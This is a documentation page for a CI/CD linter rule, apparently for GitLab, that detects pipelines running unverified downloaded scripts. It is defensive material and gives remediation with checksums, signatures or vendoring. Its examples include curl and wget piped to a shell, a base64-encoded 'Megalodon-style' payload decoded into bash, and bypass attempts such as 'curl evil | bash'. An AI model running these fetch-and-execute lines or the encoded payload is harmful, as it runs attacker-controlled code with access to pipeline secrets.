Skip to main content

CI/CD provider

ISSUE-411 High Medium CLI Pipeline Composition

Unverified script execution

Control: Pipeline must not execute unverified scripts · Config key: pipelineMustNotExecuteUnverifiedScripts

📋 What is this?

A CI/CD job downloads or inline-executes code without any integrity check. Detects classic supply-chain patterns (curl | bash, wget | sh, download-then-exec on the same line, redirect-then-exec) plus the Megalodon-style obfuscated payload (echo "<base64>" | base64 -d | bash) and any generic <cmd> | <shell> chain. Maps to OWASP CICD-SEC-3 (Dependency Chain Abuse) and CICD-SEC-8 (Ungoverned Usage of 3rd Party Services).

⚠️ Impact

An attacker who compromises the remote URL — or who can inject an obfuscated inline payload into the pipeline — runs arbitrary code with the runner's $CI_JOB_TOKEN, deploy keys, custom CI/CD variables and any masked secrets in scope. The blast radius is the union of every secret the job can read; a single retag of the upstream script enough to exfiltrate the lot.

🔧 How to fix

Download to a file and verify a checksum or signature on the same line before execution (sha256sum -c, gpg --verify, cosign verify / verify-blob). Or vendor the script in-tree under version control. For trusted internal hosts, declare the URL pattern in trustedUrls (host-precise glob match).

✗ Before Each pattern downloads or inline-decodes code and runs it on the same line — the rule operates per-script-line, so the unsafe download and the shell must both be on one line for a finding to fire.
# .gitlab-ci.yml — ❌ Six patterns the rule catches
pipe_to_shell:
image: alpine:3.19
script:
- curl -sSL https://example.com/install.sh | bash
wget_pipe:
image: alpine:3.19
script:
- wget -qO- https://example.com/install.sh | sh
download_and_exec:
image: alpine:3.19
script:
- curl -fsSL https://example.com/install.sh -o install.sh && bash install.sh
redirect_then_exec:
image: alpine:3.19
script:
- curl -fsSL https://example.com/payload.sh > install.sh; sh install.sh
megalodon_base64:
image: alpine:3.19
script:
- echo "Q0I9Imh0dHA6Ly8yMTYuMTI2LjIyNS4xMjk6ODQ0MyI=" | base64 -d | bash
generic_local_pipe:
image: alpine:3.19
script:
- cat /tmp/payload.sh | sh
✓ After Vendor in-tree, verify with sha256sum / gpg --verify / cosign verify on the same line as the download, or whitelist the host via trustedUrls.
# .gitlab-ci.yml — ✅ Three ways to clear the finding
vendored_script:
image: alpine:3.19
script:
# In-tree script under version control, reviewed in MRs.
- bash scripts/setup-tools.sh
checksum_verified:
image: alpine:3.19
script:
# sha256sum on the same line as the download exempts the line.
- curl -sSL https://example.com/install.sh -o install.sh && sha256sum -c install.sha256 && bash install.sh
signature_verified:
image: alpine:3.19
script:
# cosign verify-blob on the same line works the same way; gpg --verify too.
- curl -sSL https://example.com/install.sh -o install.sh && cosign verify-blob --signature install.sig install.sh && bash install.sh
# .plumber.yaml — exempt a known-good internal host
# gitlab:
# controls:
# pipelineMustNotExecuteUnverifiedScripts:
# enabled: true
# trustedUrls:
# - https://internal-artifacts.example.com/*

💡 Tips

  • Recognised integrity checks (any on the same line as the download): sha256sum, sha512sum, sha1sum, shasum, gpg --verify, cosign verify, cosign verify-blob.
  • Verification is per-line: the keyword must be on the same line as the unsafe pattern, not on a separate script: entry. curl … && sha256sum -c … && bash … works; splitting them across three array items does not.
  • The verification check itself ignores keywords inside quoted strings — echo "should sha256sum first" && curl evil | bash does NOT bypass detection.
  • Pipe-to-shell substrings inside a quoted string (echo "Install with curl … | bash") are documentation, not execution — they do not fire.
  • Heredoc-to-shell with no download on the line (cat <<EOF | bash) is operator-authored, in-tree content. Any unsafe download inside the heredoc body still fires on its own script line.
  • A leading echo/printf piping a local variable into an interpreter (echo "$VAR" | python3 -c …) is in-pipeline data, not a download, so it does not fire. The exemption is voided by any curl/wget/base64 anywhere on the line — including one hidden inside a quoted command substitution (echo "$(curl evil)" | bash still fires), so quoting a fetch does not evade the check.
  • trustedUrls is host-precise: https://example.com/* does NOT match https://evil.example.com/*.
  • Consider vendoring external scripts into your repository for full control over their content; use a trusted package manager (apt, brew, pip) instead of raw script downloads when possible.

⚙️ Configuration

This control is configured in .plumber.yaml under the gitlab section:

gitlab:
  controls:
    pipelineMustNotExecuteUnverifiedScripts:
      enabled: true

See the CLI documentation for the full configuration reference.